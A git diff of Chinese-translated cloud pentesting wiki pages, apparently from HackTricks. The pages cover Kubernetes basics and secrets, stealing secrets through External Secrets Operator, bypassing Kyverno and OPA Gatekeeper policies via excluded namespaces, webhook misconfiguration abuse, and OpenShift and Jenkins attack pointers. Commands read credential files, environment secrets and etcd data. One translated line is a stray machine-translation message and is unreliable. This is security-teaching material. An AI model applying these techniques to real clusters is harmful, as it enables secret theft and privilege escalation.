3. **人工智能和机器学习 (AI & ML)**：IBM Cloud 特别以其广泛和集成的 AI 和 ML 服务而闻名。AWS 也提供 AI 和 ML 服务，但 IBM 的解决方案被认为更全面，并深度嵌入其云平台中。
4. **行业特定解决方案**：IBM Cloud 以其对特定行业（如金融服务、医疗保健和政府）的关注而受到认可，提供定制解决方案。AWS 服务于广泛的行业，但在行业特定解决方案的深度上可能不及 IBM Cloud。
#### 基本信息
### 基本信息
有关IAM和层次结构的一些基本信息，请查看：
有关 IAM 和层次结构的一些基本信息，请查看：
{{#ref}}
ibm-basic-information.md
{{#endref}}
### SSRF
## SSRF
了解如何访问IBM的medata端点，请参见以下页面：
了解如何访问 IBM 的元数据端点，请查看以下页面：
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#ibm-cloud
{{#endref}}
## 参考文献
## 参考
- [https://redresscompliance.com/navigating-the-ibm-cloud-a-comprehensive-overview/#:\~:text=IBM%20Cloud%20is%3A,%2C%20networking%2C%20and%20database%20management.](https://redresscompliance.com/navigating-the-ibm-cloud-a-comprehensive-overview/)

76
src/pentesting-cloud/kubernetes-security/kubernetes-basics.md
View File

@@ -1,10 +1,8 @@
# Kubernetes 基础
## Kubernetes 基础
# Kubernetes Basics
{{#include ../../banners/hacktricks-training.md}}
**本页面的原作者是** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(阅读他的原文** [**这里**](https://sickrov.github.io)**)**
**该页面的原作者是** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(阅读他的原始帖子** [**这里**](https://sickrov.github.io)**)**
## 架构与基础
@@ -23,15 +21,15 @@
- **节点**：带有 pod 或多个 pod 的操作系统。
- **Pod**：围绕一个或多个容器的包装。一个 pod 应该只包含一个应用程序（因此通常，一个 pod 只运行 1 个容器）。pod 是 Kubernetes 抽象运行容器技术的方式。
- **服务**：每个 pod 从节点的内部范围中有 1 个内部 **IP 地址**。但是，它也可以通过服务暴露。**服务也有一个 IP 地址**，其目标是维护 pod 之间的通信，因此如果一个 pod 死亡，**新的替代品**（具有不同的内部 IP）**将可访问**并暴露在**服务的相同 IP 上**。可以配置为内部或外部。服务在连接到同一服务的 2 个 pod 之间也充当 **负载均衡器**。\
当 **服务** 被 **创建** 时，可以通过运行 `kubectl get endpoints` 找到每个服务的端点。
- **Kubelet**：主要节点代理。建立节点与 kubectl 之间通信的组件，只能运行 pod（通过 API 服务器）。Kubelet 不管理未由 Kubernetes 创建的容器。
- **服务**：每个 pod 从节点的内部范围中有 1 个内部 **IP 地址**。但是，它也可以通过服务暴露。**服务也有一个 IP 地址**，其目标是维护 pod 之间的通信，因此如果一个 pod 死亡，**新的替代品**（具有不同的内部 IP）**将可访问**并暴露在**服务的相同 IP 上**。可以配置为内部或外部。服务在连接到同一服务的 2 个 pod 时也充当 **负载均衡器**。\
当创建一个 **服务** 时，可以通过运行 `kubectl get endpoints` 找到每个服务的端点。
- **Kubelet**：主要节点代理。建立节点与 kubectl 之间通信的组件，只能运行 pods（通过 API 服务器）。Kubelet 不管理未由 Kubernetes 创建的容器。
- **Kube-proxy**：负责 apiserver 和节点之间通信（服务）的服务。基础是节点的 IPtables。经验丰富的用户可以安装来自其他供应商的其他 kube-proxies。
- **Sidecar 容器**：Sidecar 容器是应该与 pod 中的主容器一起运行的容器。此 sidecar 模式扩展并增强当前容器的功能，而无需更改它们。如今，我们知道我们使用容器技术来包装应用程序在任何地方运行所需的所有依赖项。一个容器只做一件事，并且做得很好。
- **主进程：**
- **Api 服务器**：用户和 pod 与主进程通信的方式。只有经过身份验证的请求应被允许。
- **调度器**：调度是指确保 Pods 与 Nodes 匹配，以便 Kubelet 可以运行它们。它具有足够的智能来决定哪个节点有更多可用资源并将新 pod 分配给它。请注意，调度器不会启动新 pod，它只是与运行在节点内部的 Kubelet 进程通信，该进程将启动新 pod。
- **Kube Controller 管理器**：检查资源，如副本集或部署，以检查例如，是否正在运行正确数量的 pod 或节点。如果缺少 pod，它将与调度器通信以启动一个新 pod。它控制 API 的复制、令牌和帐户服务。
- **Api 服务器**：用户和 pod 用于与主进程通信的方式。只有经过身份验证的请求才应被允许。
- **调度器**：调度是指确保 Pods 与节点匹配，以便 Kubelet 可以运行它们。它具有足够的智能来决定哪个节点有更多可用资源并将新 pod 分配给它。请注意，调度器不会启动新 pod，它只是与运行在节点内部的 Kubelet 进程通信，该进程将启动新 pod。
- **Kube Controller 管理器**：检查资源，如副本集或部署，以检查例如，是否正在运行正确数量的 pods 或节点。如果缺少 pod，它将与调度器通信以启动新的 pod。它控制 API 的复制、令牌和帐户服务。
- **etcd**：数据存储，持久、一致和分布式。是 Kubernetes 的数据库和键值存储，保存集群的完整状态（每个更改在此记录）。调度器或控制器管理器等组件依赖于此数据以了解发生了哪些更改（节点的可用资源、正在运行的 pod 数量...）。
- **Cloud controller manager**：是流控制和应用程序的特定控制器，即：如果您在 AWS 或 OpenStack 中有集群。
@@ -39,18 +37,18 @@
**卷：**
当 pod 创建的数据在 pod 消失时不应丢失时，应存储在物理卷中。**Kubernetes 允许将卷附加到 pod 以持久化数据**。卷可以在本地机器上或在 **远程存储** 中。如果您在不同的物理节点上运行 pod，则应使用远程存储，以便所有 pod 都可以访问它。
当 pod 创建的数据在 pod 消失时不应丢失时，应存储在物理卷中。**Kubernetes 允许将卷附加到 pod 以持久化数据**。卷可以在本地机器上或在 **远程存储** 中。如果您在不同的物理节点上运行 pods，则应使用远程存储，以便所有 pods 都可以访问它。
**其他配置：**
- **ConfigMap**：您可以配置 **URLs** 以访问服务。pod 将从这里获取数据以了解如何与其余服务（pod）通信。请注意，这不是保存凭据的推荐位置！
- **Secret**：这是 **存储机密数据** 的地方，如密码、API 密钥...以 B64 编码。pod 将能够访问这些数据以使用所需的凭据。
- **Deployments**：这是指示 Kubernetes 运行的组件的地方。用户通常不会直接与 pod 一起工作，pod 在 **ReplicaSets**（相同 pod 的数量复制）中被抽象，后者通过部署运行。请注意，部署适用于 **无状态** 应用程序。部署的最小配置是名称和要运行的镜像。
- **StatefulSet**：此组件专门用于需要 **访问相同存储** 的应用程序，如 **数据库**。
- **Ingress**：这是用于 **通过 URL 公开应用程序的配置**。请注意，这也可以使用外部服务完成，但这是公开应用程序的正确方式。
- 如果您实现了 Ingress，您将需要创建 **Ingress Controllers**。Ingress Controller 是一个 **pod**，将成为接收请求的端点，并检查并将其负载均衡到服务。Ingress Controller 将 **根据配置的 Ingress 规则发送请求**。请注意，Ingress 规则可以指向不同的路径或甚至子域到不同的内部 Kubernetes 服务。
- **ConfigMap**：您可以配置 **URLs** 以访问服务。pod 将从这里获取数据以了解如何与其余服务（pods）通信。请注意，这不是保存凭据的推荐位置！
- **Secret**：这是 **存储秘密数据** 的地方，如密码、API 密钥...以 B64 编码。pod 将能够访问这些数据以使用所需的凭据。
- **Deployments**：这是指示 Kubernetes 运行的组件的地方。用户通常不会直接与 pods 一起工作，pods 在 **ReplicaSets**（相同 pods 的数量复制）中被抽象，后者通过部署运行。请注意，部署适用于 **无状态** 应用程序。部署的最小配置是名称和要运行的镜像。
- **StatefulSet**：该组件专门用于需要 **访问相同存储** 的应用程序，如 **数据库**。
- **Ingress**：这是用于 **通过 URL 公开应用程序** 的配置。请注意，这也可以使用外部服务完成，但这是公开应用程序的正确方式。
- 如果您实现了 Ingress，您将需要创建 **Ingress Controllers**。Ingress Controller 是一个 **pod**，将是接收请求的端点，并检查并将其负载均衡到服务。Ingress Controller 将 **根据配置的 ingress 规则发送请求**。请注意，ingress 规则可以指向不同的路径或甚至不同内部 Kubernetes 服务的子域。
- 更好的安全实践是使用云负载均衡器或代理服务器作为入口点，以避免 Kubernetes 集群的任何部分暴露。
- 当收到不匹配任何 Ingress 规则的请求时，Ingress Controller 将其定向到 "**默认后端**"。您可以 `describe` Ingress Controller 以获取此参数的地址。
- 当收到不匹配任何 ingress 规则的请求时，ingress controller 将其定向到 "**默认后端**"。您可以 `describe` ingress controller 以获取此参数的地址。
- `minikube addons enable ingress`
### PKI 基础设施 - 证书颁发机构 CA：
@@ -70,7 +68,7 @@
### Minikube
**Minikube** 可用于在不需要部署整个 Kubernetes 环境的情况下对 Kubernetes 进行一些 **快速测试**。它将在一台机器上运行 **主进程和节点进程**。Minikube 将使用 virtualbox 来运行节点。请参见 [**这里了解如何安装它**](https://minikube.sigs.k8s.io/docs/start/)。
**Minikube** 可用于在 Kubernetes 上执行一些 **快速测试**，而无需部署整个 Kubernetes 环境。它将在一台机器上运行 **主进程和节点进程**。Minikube 将使用 virtualbox 来运行节点。请参见 [**这里如何安装它**](https://minikube.sigs.k8s.io/docs/start/)。
```
$ minikube start
😄 minikube v1.19.0 on Ubuntu 20.04
@@ -156,7 +154,7 @@ http://127.0.0.1:50034/api/v1/namespaces/kubernetes-dashboard/services/http:kube
### YAML 配置文件示例
每个配置文件有 3 个部分：**metadata**、**specification**（需要启动的内容）、**status**（期望状态）。\
在部署配置文件的规范中，您可以找到定义了要运行的镜像的新配置结构的模板：
在部署配置文件的规范中，您可以找到定义了要运行的映像的新配置结构的模板：
**在同一配置文件中声明的 Deployment + Service 示例（来自** [**这里**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)**
@@ -231,7 +229,7 @@ nodePort: 30000
**Ingress 配置文件示例**
这将公开应用程序在 `http://dashboard.com`。
这将应用程序公开在 `http://dashboard.com`。
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
@@ -247,9 +245,9 @@ paths:
serviceName: kubernetes-dashboard
servicePort: 80
```
**秘密配置文件示例**
**示例的秘密配置文件**
注意密码是以 B64 编码的（这并不安全！）
注意密码是以B64编码的（这并不安全！）
```yaml
apiVersion: v1
kind: Secret
@@ -262,7 +260,7 @@ mongo-root-password: cGFzc3dvcmQ=
```
**ConfigMap 示例**
一个 **ConfigMap** 是提供给 pods 的配置，以便它们知道如何定位和访问其他服务。在这种情况下，每个 pod 将知道名称 `mongodb-service` 是它们可以通信的 pod 的地址（该 pod 将执行 mongodb）：
一个 **ConfigMap** 是提供给 pod 的配置，以便它们知道如何定位和访问其他服务。在这种情况下，每个 pod 将知道名称 `mongodb-service` 是它们可以通信的 pod 的地址（该 pod 将执行 mongodb）：
```yaml
apiVersion: v1
kind: ConfigMap
@@ -299,7 +297,7 @@ key: database_url
### 命名空间
Kubernetes 支持 **多个虚拟集群**，这些集群由同一个物理集群支持。这些虚拟集群称为 **命名空间**。这些命名空间旨在用于有多个用户分布在多个团队或项目的环境中。对于用户数量在几到几十的集群，您不需要创建或考虑命名空间。您应该在需要更好地控制和组织在 Kubernetes 中部署的应用程序的每个部分时才开始使用命名空间。
Kubernetes 支持 **多个虚拟集群**，这些集群由同一个物理集群支持。这些虚拟集群称为 **命名空间**。这些命名空间旨在用于有多个团队或项目的多个用户的环境。对于用户数量从几到几十的集群，您不需要创建或考虑命名空间。您只应在需要更好地控制和组织在 Kubernetes 中部署的应用程序的每个部分时开始使用命名空间。
命名空间为名称提供了作用域。资源的名称在一个命名空间内需要是唯一的，但在不同命名空间之间不需要唯一。命名空间不能相互嵌套，并且 **每个** Kubernetes **资源** 只能 **在** **一个** **命名空间** 中。
@@ -312,7 +310,7 @@ kube-node-lease Active 1d
kube-public Active 1d
kube-system Active 1d
```
- **kube-system**: 这不是供用户使用的，您不应该触碰它。它是为主节点和 kubectl 进程准备的。
- **kube-system**: 这不是供用户使用的，您不应该触碰它。它是为 master 和 kubectl 进程准备的。
- **kube-public**: 公开可访问的数据。包含一个 configmap，其中包含集群信息。
- **kube-node-lease**: 确定节点的可用性。
- **default**: 用户将用于创建资源的命名空间。
@@ -334,15 +332,15 @@ kubectl config set-context --current --namespace=<insert-namespace-name-here>
```
### Helm
Helm 是 Kubernetes 的 **包管理器**。它允许将 YAML 文件打包并分发到公共和私有仓库。这些包称为 **Helm Charts**。
Helm 是 Kubernetes 的 **包管理器**。它允许将 YAML 文件打包并在公共和私有仓库中分发。这些包称为 **Helm Charts**。
```
helm search <keyword>
```
Helm 也是一个模板引擎，允许生成带有变量的配置文件：
## Kubernetes 秘密
## Kubernetes secrets
一个 **Secret** 是一个 **包含敏感数据** 的对象，例如密码、令牌或密钥。这些信息可能会被放在 Pod 规范或镜像中。用户可以创建 Secrets，系统也会创建 Secrets。Secret 对象的名称必须是有效的 **DNS 子域名**。在这里阅读 [官方文档](https://kubernetes.io/docs/concepts/configuration/secret/)。
一个 **Secret** 是一个 **包含敏感数据** 的对象，例如密码、令牌或密钥。这些信息可能会被放在 Pod 规范或镜像中。用户可以创建 Secrets，系统也会创建 Secrets。Secret 对象的名称必须是有效的 **DNS 子域名**。在这里阅读 [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/)。
Secrets 可能是以下内容：
@@ -352,7 +350,7 @@ Secrets 可能是以下内容：
- 信息或注释。
- 数据库连接代码、字符串……。
Kubernetes 中有不同类型的秘密
Kubernetes 中有不同类型的 secrets
| 内置类型 | 用途 |
| ----------------------------------- | ----------------------------------------- |
@@ -428,7 +426,7 @@ env | grep SECRET && cat /etc/foo/my-group/my-username && echo
```bash
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd
```
您将看到证书、密钥和 URL 位于文件系统中。一旦您获取了这些，您将能够连接到 etcd。
您将看到证书、密钥和 URL 位于文件系统中。一旦您获取到这些，您将能够连接到 etcd。
```bash
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] health
@@ -478,28 +476,28 @@ name: etcd
```
**验证数据是否加密**
数据在写入到 etcd 时被加密。在重启你的 `kube-apiserver` 后，任何新创建或更新的秘密在存储时应该是加密的。要检查，可以使用 `etcdctl` 命令行程序来检索你的秘密内容。
数据在写入 etcd 时被加密。在重新启动 `kube-apiserver` 后，任何新创建或更新的秘密在存储时应被加密。要检查，可以使用 `etcdctl` 命令行程序检索秘密的内容。
1. 在 `default` 命名空间中创建一个名为 `secret1` 的新秘密：
1. 在 `default` 命名空间中创建一个名为 `secret1` 的新秘密：
```
kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
```
2. 使用 etcdctl 命令行，从 etcd 中读取该秘密：
2. 使用 etcdctl 命令行，从 etcd 中读取该秘密：
`ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C`
其中 `[...]` 必须是连接到 etcd 服务器的附加参数。
3. 验证存储的秘密以 `k8s:enc:aescbc:v1:` 为前缀，这表明 `aescbc` 提供者已加密结果数据。
4. 验证通过 API 检索时秘密是否正确解密：
3. 验证存储的秘密以 `k8s:enc:aescbc:v1:` 为前缀，这表明 `aescbc` 提供程序已加密结果数据。
4. 验证通过 API 检索时秘密被正确解密：
```
kubectl describe secret secret1 -n default
```
应该匹配 `mykey: bXlkYXRh`，mydata 被编码，查看 [解码秘密](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) 以完全解码秘密。
应匹配 `mykey: bXlkYXRh`，mydata 被编码，检查 [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) 以完全解码秘密。
**由于秘密在写入时被加密，对秘密进行更新将加密该内容：**
```
@@ -508,11 +506,11 @@ kubectl get secrets --all-namespaces -o json | kubectl replace -f -
**最终提示：**
- 尽量不要在文件系统中保留秘密，从其他地方获取它们。
- 查看 [https://www.vaultproject.io/](https://www.vaultproject.io) 为您的秘密增加更多保护。
- 查看 [https://www.vaultproject.io/](https://www.vaultproject.io) 为你的秘密增加更多保护。
- [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks)
- [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm)
## 参考文献
## 参考
{{#ref}}
https://sickrov.github.io/

18
src/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md
View File

@@ -1,8 +1,10 @@
# External Secret Operator
{{#include ../../banners/hacktricks-training.md}}
**该页面的原作者是** [**Fares**](https://www.linkedin.com/in/fares-siala/)
本页面提供了一些关于如何从配置错误的ESO或使用ESO同步其秘密的应用程序中窃取秘密的指引。
本页面提供了一些关于如何从配置错误的 ESO 或使用 ESO 同步其秘密的应用程序中窃取秘密的指引。
## 免责声明
@@ -10,11 +12,11 @@
## 先决条件
1. 在具有命名空间管理员权限的kubernetes / openshift集群中获得立足点
2. 在集群级别对至少ExternalSecret具有读取权限
3. 确定是否需要任何标签/注释或组成员资格，以允许ESO同步您的秘密。如果您运气好，您可以自由窃取任何定义的秘密。
1. 在具有命名空间管理员权限的 kubernetes / openshift 集群中获得立足点
2. 在集群级别至少对 ExternalSecret 具有读取权限
3. 确定是否需要任何标签/注释或组成员资格，以允许 ESO 同步您的秘密。如果您运气好，您可以自由窃取任何定义的秘密。
### 收集关于现有ClusterSecretStore的信息
### 收集有关现有 ClusterSecretStore 的信息
假设您有足够权限读取此资源的用户；首先列出现有的 _**ClusterSecretStores**_。
```sh
@@ -57,7 +59,7 @@ secretKey: SOME_PASSWORD
- ExternalSecret 的名称
- 秘密的名称
现在我们拥有了所需的一切，您可以创建一个 ExternalSecret（并最终修补/创建一个新的 Namespace，以符合同步新秘密所需的先决条件）：
现在我们有了所需的一切，您可以创建一个 ExternalSecret（并最终修补/创建一个新的 Namespace，以符合同步新秘密所需的先决条件）：
```yaml
kind: ExternalSecret
metadata:
@@ -104,3 +106,7 @@ https://external-secrets.io/latest/
{{#ref}}
https://github.com/external-secrets/external-secrets
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

14
src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md
View File

@@ -1,10 +1,12 @@
# Kubernetes Kyverno
**该页面的原作者是** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
{{#include ../../../banners/hacktricks-training.md}}
## 定义&#x20;
**本页面的原作者是** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
Kyverno 是一个开源的 Kubernetes 策略管理框架，使组织能够在整个 Kubernetes 基础设施中定义、执行和审计策略。它提供了一个可扩展、可扩展且高度可定制的解决方案，用于管理 Kubernetes 集群的安全性、合规性和治理。
## 定义
Kyverno 是一个开源的 Kubernetes 策略管理框架，使组织能够在其整个 Kubernetes 基础设施中定义、执行和审计策略。它提供了一个可扩展、可扩展且高度可定制的解决方案，用于管理 Kubernetes 集群的安全性、合规性和治理。
## 用例
@@ -16,7 +18,7 @@ Kyverno 可以用于多种用例，包括：
## **示例：ClusterPolicy 和 Policy**
假设我们有一个包含多个命名空间的 Kubernetes 集群，我们想要执行一项政策，要求 `default` 命名空间中的所有 pod 都具有特定标签。
假设我们有一个包含多个命名空间的 Kubernetes 集群，我们希望执行一项政策，要求 `default` 命名空间中的所有 pod 都具有特定标签。
**ClusterPolicy**
@@ -52,3 +54,7 @@ validationFailureAction: enforce
## References
* [https://kyverno.io/](https://kyverno.io/)
{{#include ../../../banners/hacktricks-training.md}}

8
src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md
View File

@@ -1,6 +1,8 @@
# Kubernetes Kyverno bypass
**该页面的原作者是** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
{{#include ../../../banners/hacktricks-training.md}}
**本页面的原作者是** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## 滥用策略错误配置
@@ -43,7 +45,7 @@ name: system:serviceaccount:TEST:thisisatest
- kind: User
name: system:serviceaccount:AHAH:*
```
在一个集群中，许多附加组件、操作员和应用程序可能需要从集群策略中排除。然而，这可以通过针对特权实体来利用。在某些情况下，可能看起来某个命名空间不存在或您没有权限冒充用户，这可能是配置错误的迹象。
在一个集群中，许多附加组件、操作员和应用程序可能需要从集群策略中排除。然而，这可以通过针对特权实体来利用。在某些情况下，可能会出现命名空间不存在或您没有权限冒充用户的情况，这可能是配置错误的迹象。
## 滥用 ValidatingWebhookConfiguration
@@ -56,3 +58,5 @@ name: system:serviceaccount:AHAH:*
## 更多信息
有关更多信息，请查看 [https://madhuakula.com/kubernetes-goat/docs/scenarios/scenario-22/securing-kubernetes-clusters-using-kyverno-policy-engine/welcome/](https://madhuakula.com/kubernetes-goat/docs/scenarios/scenario-22/securing-kubernetes-clusters-using-kyverno-policy-engine/welcome/)
{{#include ../../../banners/hacktricks-training.md}}

12
src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md
View File

@@ -1,12 +1,14 @@
# Kubernetes - OPA Gatekeeper
{{#include ../../../banners/hacktricks-training.md}}
**本页面的原作者是** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## 定义
Open Policy Agent (OPA) Gatekeeper 是一个用于在 Kubernetes 中强制执行入场政策的工具。这些政策使用 OPA 提供的政策语言 Rego 定义。以下是使用 OPA Gatekeeper 的政策定义的基本示例：
Open Policy Agent (OPA) Gatekeeper 是一个用于在 Kubernetes 中强制执行入场策略的工具。这些策略使用 OPA 提供的政策语言 Rego 定义。以下是使用 OPA Gatekeeper 的政策定义的基本示例：
```rego
regoCopy codepackage k8srequiredlabels
package k8srequiredlabels
violation[{"msg": msg}] {
provided := {label | input.review.object.metadata.labels[label]}
@@ -18,7 +20,7 @@ msg := sprintf("Required labels missing: %v", [missing])
default allow = false
```
此 Rego 策略检查 Kubernetes 资源上是否存在某些标签。如果缺少所需的标签，它将返回违规消息。此策略可用于确保在集群中部署的所有资源都有特定标签。
这个 Rego 策略检查 Kubernetes 资源上是否存在某些标签。如果缺少所需的标签，它将返回违规消息。此策略可用于确保集群中部署的所有资源都有特定标签。
## 应用约束
@@ -70,3 +72,7 @@ requiredLabel2: "true"
## References
* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
{{#include ../../../banners/hacktricks-training.md}}

10
src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
View File

@@ -1,12 +1,14 @@
# Kubernetes OPA Gatekeeper 绕过
{{#include ../../../banners/hacktricks-training.md}}
**本页面的原作者是** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## 滥用错误配置
### 枚举规则
了解概况可能有助于知道哪些规则是活动的，处于什么模式，以及谁可以绕过它。
了解概况可能有助于知道哪些规则是活动的，处于什么模式，以及谁可以绕过它。
#### 使用 CLI
```bash
@@ -33,7 +35,7 @@ $ kubectl get services -A | grep 'gatekeeper-policy-manager-system'
```
### 排除的命名空间
如上图所示，某些规则可能不会在所有命名空间或用户中普遍适用。相反，它们是基于白名单的。例如，`liveness-probe` 约束被排除在五个指定命名空间之外。
如上图所示，某些规则可能不会在所有命名空间或用户中普遍适用。相反，它们是基于白名单的。例如，`liveness-probe` 约束被排除在五个指定的命名空间之外。
### 绕过
@@ -45,7 +47,7 @@ $ kubectl get services -A | grep 'gatekeeper-policy-manager-system'
## 滥用 ValidatingWebhookConfiguration
绕过约束的另一种方法是关注 ValidatingWebhookConfiguration 资源 :&#x20;
绕过约束的另一种方法是关注 ValidatingWebhookConfiguration 资源：
{{#ref}}
../kubernetes-validatingwebhookconfiguration.md
@@ -55,3 +57,5 @@ $ kubectl get services -A | grep 'gatekeeper-policy-manager-system'
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
- [https://github.com/sighupio/gatekeeper-policy-manager](https://github.com/sighupio/gatekeeper-policy-manager)
{{#include ../../../banners/hacktricks-training.md}}

18
src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md
View File

@@ -1,5 +1,7 @@
# Kubernetes ValidatingWebhookConfiguration
{{#include ../../banners/hacktricks-training.md}}
**该页面的原作者是** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## 定义
@@ -35,12 +37,12 @@ operations:
resources:
- pods
```
ValidatingWebhookConfiguration 和策略之间的主要区别是：&#x20;
ValidatingWebhookConfiguration 和策略之间的主要区别：
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
- **ValidatingWebhookConfiguration (VWC)** : 一种 Kubernetes 资源，定义了一个验证 webhook，这是一个服务器端组件，用于根据一组预定义的规则和约束验证传入的 Kubernetes API 请求。
- **Kyverno ClusterPolicy**: 一种策略定义，指定了一组规则和约束，用于验证和强制执行 Kubernetes 资源，例如 pods、deployments 和 services。
- **ValidatingWebhookConfiguration (VWC)** : 一个 Kubernetes 资源，定义了一个验证 webhook，这是一个服务器端组件，用于根据一组预定义的规则和约束验证传入的 Kubernetes API 请求。
- **Kyverno ClusterPolicy**: 一个策略定义，指定了一组规则和约束，用于验证和强制执行 Kubernetes 资源，例如 pods、deployments 和 services。
## Enumeration
```
@@ -52,19 +54,19 @@ $ kubectl get ValidatingWebhookConfiguration
**Kyverno** 和 **Gatekeeper** 都是 Kubernetes 策略引擎，提供了一个在集群中定义和执行策略的框架。
例外是指在特定情况下允许绕过或修改策略的特定规则或条件，但这并不是唯一的方法！
例外情况是指在特定情况下允许绕过或修改策略的特定规则或条件，但这并不是唯一的方法！
对于 **kyverno**，只要存在验证策略，webhook `kyverno-resource-validating-webhook-cfg` 就会被填充。
对于 Gatekeeper，存在 `gatekeeper-validating-webhook-configuration` YAML 文件。
这两者都带有默认值，但管理员团队可能会更新这两个文件。
这两个文件都有默认值，但管理员团队可能会更新这两个文件。
### 用例
```bash
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
```
现在，识别以下输出：
请提供您希望翻译的具体内容。
```yaml
namespaceSelector:
matchExpressions:
@@ -81,7 +83,7 @@ values:
检查命名空间的存在。有时，由于自动化或配置错误，某些命名空间可能未被创建。如果您有权限创建命名空间，您可以创建一个名称在 `values` 列表中的命名空间，政策将不会应用于您的新命名空间。
此攻击的目标是利用 **misconfiguration** 在 VWC 内部，以绕过操作员限制，然后使用其他技术提升您的权限。
此攻击的目标是利用 VWC 内部的 **配置错误** 以绕过操作员限制，然后使用其他技术提升您的权限。
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -92,3 +94,5 @@ abusing-roles-clusterroles-in-kubernetes/
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
- [https://kyverno.io/](https://kyverno.io/)
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
{{#include ../../banners/hacktricks-training.md}}

6
src/pentesting-cloud/openshift-pentesting/README.md
View File

@@ -1,5 +1,7 @@
# OpenShift 渗透测试
{{#include ../../banners/hacktricks-training.md}}
## 基本信息
{{#ref}}
@@ -17,3 +19,7 @@ openshift-scc.md
{{#ref}}
openshift-privilege-escalation/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

8
src/pentesting-cloud/openshift-pentesting/openshift-basic-information.md
View File

@@ -1,5 +1,7 @@
# OpenShift - 基本信息
{{#include ../../banners/hacktricks-training.md}}
## Kubernetes 先前的**基本知识** <a href="#a94e" id="a94e"></a>
在使用 OpenShift 之前，请确保您对 Kubernetes 环境感到熟悉。整个 OpenShift 章节假设您具备 Kubernetes 的先前知识。
@@ -25,7 +27,7 @@ oc login -s=<server> --token=<bearer token>
```
### **OpenShift - 安全上下文约束** <a href="#a94e" id="a94e"></a>
除了控制用户可以做什么的 [RBAC 资源](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) 外，OpenShift Container Platform 还提供 _安全上下文约束_ (SCC)，用于控制 pod 可以执行的操作以及它可以访问的内容。
除了控制用户可以做什么的 [RBAC 资源](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) 外，OpenShift 容器平台还提供了 _安全上下文约束_ (SCC)，用于控制 pod 可以执行的操作以及它能够访问的内容。
SCC 是一个策略对象，具有与基础设施本身相对应的特殊规则，不同于与平台相对应的 RBAC 规则。它帮助我们定义容器应该能够请求/运行的 Linux 访问控制特性。例如：Linux 能力、SECCOMP 配置文件、挂载本地主机目录等。
@@ -36,3 +38,7 @@ openshift-scc.md
{{#ref}}
https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

14
src/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md
View File

@@ -1,16 +1,18 @@
# OpenShift - Jenkins
**本页面的原作者是** [**Fares**](https://www.linkedin.com/in/fares-siala/)
{{#include ../../../banners/hacktricks-training.md}}
**该页面的原作者是** [**Fares**](https://www.linkedin.com/in/fares-siala/)
本页面提供了一些关于如何攻击运行在 Openshift（或 Kubernetes）集群中的 Jenkins 实例的指引。
## 免责声明
Jenkins 实例可以部署在 Openshift 或 Kubernetes 集群中。根据您的上下文，您可能需要调整任何显示的有效载荷、yaml 或技术。有关攻击 Jenkins 的更多信息，您可以查看 [此页面](../../../pentesting-ci-cd/jenkins-security/)
Jenkins 实例可以在 Openshift 或 Kubernetes 集群中部署。根据您的上下文，您可能需要调整任何显示的有效负载、yaml 或技术。有关攻击 Jenkins 的更多信息，您可以查看 [此页面](../../../pentesting-ci-cd/jenkins-security/index.html)。
## 先决条件
1a. 在 Jenkins 实例中的用户访问权限 或 1b. 对 SCM 仓库的写入权限，自动构建在推送/合并后触发
